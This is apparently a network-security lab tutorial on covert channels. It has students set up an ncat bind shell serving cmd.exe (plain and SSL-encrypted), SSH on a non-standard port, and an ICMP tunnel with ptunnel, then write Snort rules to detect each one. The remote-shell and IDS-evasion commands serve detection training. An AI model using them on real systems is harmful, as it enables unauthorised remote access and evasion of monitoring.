Snort Covert Channels
Lab 3: Covert Channels
Covert channels are used by outside attackers to establish communications with the compromised system, or by malicious insiders to secretly transfer data to unauthorized locations. There are various implementations of covert channels. Basically, any means of communication that your organization does not routinely use to communicate to the outside world would be considered a covert channel. In this lab, we are going to examine some of the common techniques of covert communications and write Snort rules aimed at their detection.
Exercise 1: Creating a Covert Channel with Nat SSL
Remember the rule we created in Lab 1 to detect command shell access? In this exercise, we will demonstrate how this rule can be circumvented by using an encrypted channel. First, let’s see if our rule can detect not just the specific exploit that we used but any instance of accessing that directory. First, we are going to use TFTP to transfer Ncat from Kali Linux VM to the root directory of Windows Server 2012 R2 VM. Ncat is a general-purpose command-line tool for reading, writing, redirecting, and encrypting data across a network.
First, we need to copy Ncat to the TFTP directory. On your Kali Linux VM, open a terminal shell and enter the following command:
cp /usr/share/ncat-w32/ncat.exe /srv/tftp
Now, make sure TFTP is running:
atftpd –daemon –port 69 /srv/tftp
Next, go to your Windows Server 2012 R2 VM, open a command shell and change directories to c:
Once there, transfer the Ncat executable (using the IP of your Kali Linux VM):
tftp -i 192.168.x.x get ncat.exe
Next, we’ll start Ncat in listen mode. Have it listen on port 999.
ncat -l -p 999 -k -e cmd.exe
Now go to your Ubuntu Server VM and look at your local.rules file. Un-comment the first “Command Line Access” rule (remove the “#” symbol). It should be ruled sid:1000004 rev:1 if you are keeping up with our numbering. Now comment out the rev:2 of this rule. It should look like the image below.
Save the file. Start Snort in IDS mode.
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
Go to your Kali Linux VM, and connect to the Ncat listener by entering the following command from a terminal (using your Windows Server 2012 R2 IP address):
ncat 192.168.x.x 999
After hitting Enter, you should get a command shell.
Go back and check your Snort console. Do you see any alerts? Why not?
Now go back to your Ncat session and change directories to our protected directory:
Now go back and check your Snort console. Do you see any alerts? If you typed in the command above exactly as printed (all lowercase) you still won’t see any alerts! We need to tune our rule. Stop Snort, bring up the local.rules file and add the nocase option to our rule.
Save the file and start Snort again. Go back to your Kali Linux VM and re-enter the above command.
Check Snort output now. The rule is working.
As we mentioned earlier, Ncat can use SSL to encrypt its traffic, thus establishing a covert communication channel between a listener and a connector. It can be done by simply adding the –ssl option to Ncat commands.
First, go to your Windows Server 2012 R2 VM and hit Ctrl+C to stop Ncat and return to the prompt. Start Ncat SSL in listen mode:
ncat –ssl –l –p 999 –e cmd.exe
Stop and restart Snort (to make sure we will identify any new alerts).
Also, start Wireshark capture.
Now go to the Kali Linux VM. Open a terminal and connect to the listen mode Ncat SSL instance you have running on the Windows Server 2012 R2 VM.
ncat –ssl 192.168.x.x 999
Once connected, go to the protected directory:
Check your Snort output. There will be no alerts. Stop Snort and Wireshark capture. In Wireshark, apply the following filter to the captured traffic (using IP addresses of your Kali Linux and Windows Server 2012 R2):
ip.addr==192.168.x.x || ip.addr==192.168.y.y
This will reduce the results to a relatively short list.
Click through the results and look at the ASCII data in the bottom pane. You won’t see our content value of “C:UsersAdministratorDesktophfs2.3b” anywhere (you can also do a packet search using Find as we did earlier). All communications were encrypted, successfully circumventing our rule. In the following exercises, we will learn how to deal with some of the covert channel implementations.
Exercise 2: Encryption
Secure Shell (SSH) is legitimately used for secure remote connections over an unsecured network. It can be used by attackers for establishing encrypted communications, allowing them to circumvent content detection/DLP mechanisms that you may have in place. If SSH is not something that is commonly used on your network, we can write a simple rule that would generate an alert whenever an SSH connection is being established. As usual, first, we need to capture some traffic to identify the signature for the activity we are trying to detect. First, on your Kali Linux VM, go to Applications->Kali Linux->System Services->SSH->sshd start. A new terminal window will open notifying that OpenBSD Secure Shell server has started. Now, on your Ubuntu Server VM, open a terminal shell and enter sudo wireshark to launch Wireshark as root. Start capturing traffic on eth0 (select eth0 from the Interface List and click Start). Next, from a new terminal shell, start an ssh connection to some IP (let’s use our Kali Linux IP) with the following command:
Enter yes when prompted to continue connecting. You will get a password prompt. Hit Ctrl+C to return to the normal prompt, then go to Wireshark and stop the capture (click the red Stop button). Apply the following filter to the captured traffic (x.x is the IP address of your Ubuntu Server):
ip.src==192.168.x.x && tcp.port eq 22
You should see several packets. The third one from the top on the list is the one we would want to examine: this is where SSH protocol is being used. Click on it and look at the data in the bottom pane.
This is our signature, the content, for which we want Snort to look. We don’t want to limit ourselves to a specific version of SSH, so we will include just the “SSH-” part in our rule. Close or minimize Wireshark. Open the local.rules file in a text editor as root.
sudo gedit /etc/snort/rules/local.rules
Add the following rule on a new line:
alert tcp $HOME_NET any -> any any (msg:”SSH Connection Attempt”; flags:A+; content:”SSH-“; sid:1000009; rev:1)
Save the file. Start Snort in IDS mode. Now open a new shell and try the SSH connection to your Kali Linux VM again. Right away we can see some alerts.
Hit Ctrl+C to stop Snort. A common technique is to use SSH on a different port. Since we know that SSH uses port 22, any port other than that would be suspicious. Let’s modify our rule to reflect that. Bring up the local.rules file, copy/paste our last rule onto a new line and modify it as follows (use your Ubuntu Server IP this time, because our attacker machine is on the HOME_NET):
alert tcp 192.168.x.x any -> any !22 (msg:”SSH to Non-standard Port”; flags:A+; content:”SSH-“; sid:1000010; rev:1;)
Now comment out our first SSH rule and save the file. Start Snort again and re-issue the SSH connection command from a different shell (you may have to hit Ctrl+C to return to the prompt). You won’t see any alerts. Now go to your Kali Linux VM and open the SSH server configuration file with the following command:
When the file opens, look for the “Port” value (it will be the first non-commented line from the top). Change “22” to any other number and save the file. In the example below, we use 1234 as the new port number.
Now restart the SSH server by going to Applications->Kali Linux->System Services->SSH->sshd restart. Go back to the Ubuntu Server VM, make sure that Snort is still running, and try connecting to the SSH server with the following command:
ssh 192.168.x.x –p 1234
Snort will generate an alert.
Stop Snort. Change the SSH port on Kali to the default value of 22, save the file and restart the SSH server again. In the next exercise, we will look at tunneling, another common cover channel technique.
Exercise 3: ICMP Tunneling
An ICMP tunnel establishes a covert connection between two remote computers (a client and proxy), using ICMP echo requests and reply packets. An example of this technique is tunneling complete TCP traffic over ping requests and replies. ICMP tunneling works by injecting arbitrary data into an echo packet sent to a remote computer. One of the tools used for ICMP tunneling is ptunnel. For this exercise, we are going to assume that our Ubuntu Server is compromised, and ptunnel is already installed on it. Now we are going to play the role of malicious insider or an attacker who has remote access to the system, and set up an ICMP tunnel to establish covert communications between Ubuntu Server and Kali Linux.
First, go to your Kali Linux and enter ptunnel into a terminal shell to start a ptunnel proxy.
Next, on your Ubuntu Server start a new Wireshark capture. Then open a new terminal shell and enter the following command to create a tunnel (x.x. is your Kali Linux IP):
sudo ptunnel –p 192.168.x.x –lp 8000 –da localhost –dp 22
Now open yet another shell on the Ubuntu Server VM and enter the following command to connect to the tunnel we just created:
ssh –p 8000 localhost
Enter yes to continue connecting. You will see a password prompt. At this point, we can stop the Wireshark capture and hit Ctrl+C on both Ubuntu Server shells running ptunnel. We should have enough information to write our rule. In Wireshark, examine the captured communication between Ubuntu Server and Kali Linux. Even though we used SSH in the last step, you won’t see any TCP packets. All communications go through ICMP.
Try quickly clicking through several of those ICMP packets while looking closely at the hex data in the bottom pane. Something may become apparent: one specific portion of this data does not change from packet to packet.
If you haven’t noticed it the first time, try clicking through packets again looking specifically at that fragment. You should see it now. Open the local.rules file and add the following rule at the bottom:
alert icmp $HOME_NET any -> any any (msg:”Ptunnel Proxy Detected”; content:”|d5 20 08 80|”; depth:4; sid:1000011; rev:1;)
We used yet another new option here: depth. This keyword tells Snort how far it should reach into a packet when searching for the content. In our case, we are telling Snort only to look for the specified content within the first 4 bytes of the payload.
Save the rules file and start Snort in IDS mode. Now reload your ptunnel (remember to use the Kali Linux IP address):
sudo ptunnel –p 192.168.x.x –lp 8000 –da localhost –dp 22
And connect to it:
ssh –p 8000 localhost
You will see the Snort started generating alerts. There will be quite a few, so in practice, this rule would need to be tuned.
In the shell where you entered the “ssh” command, hit Ctrl+C to break the connection to ptunnel. Snort alerts will stop. Note that even though we used SSH, neither of our SSH rules worked. All communications were going through ICMP. If you try connecting to Kali directly with ssh 192.168.x.x, it will trigger our “SSH Connection Attempt” alert.
Hit Ctrl+C to stop Snort and all instances of ptunnel on both VMs. As you can see, using covert channels is a very effective technique to evade IDS. However, with a bit of research and a lot of testing we can find a way to detect covert communications.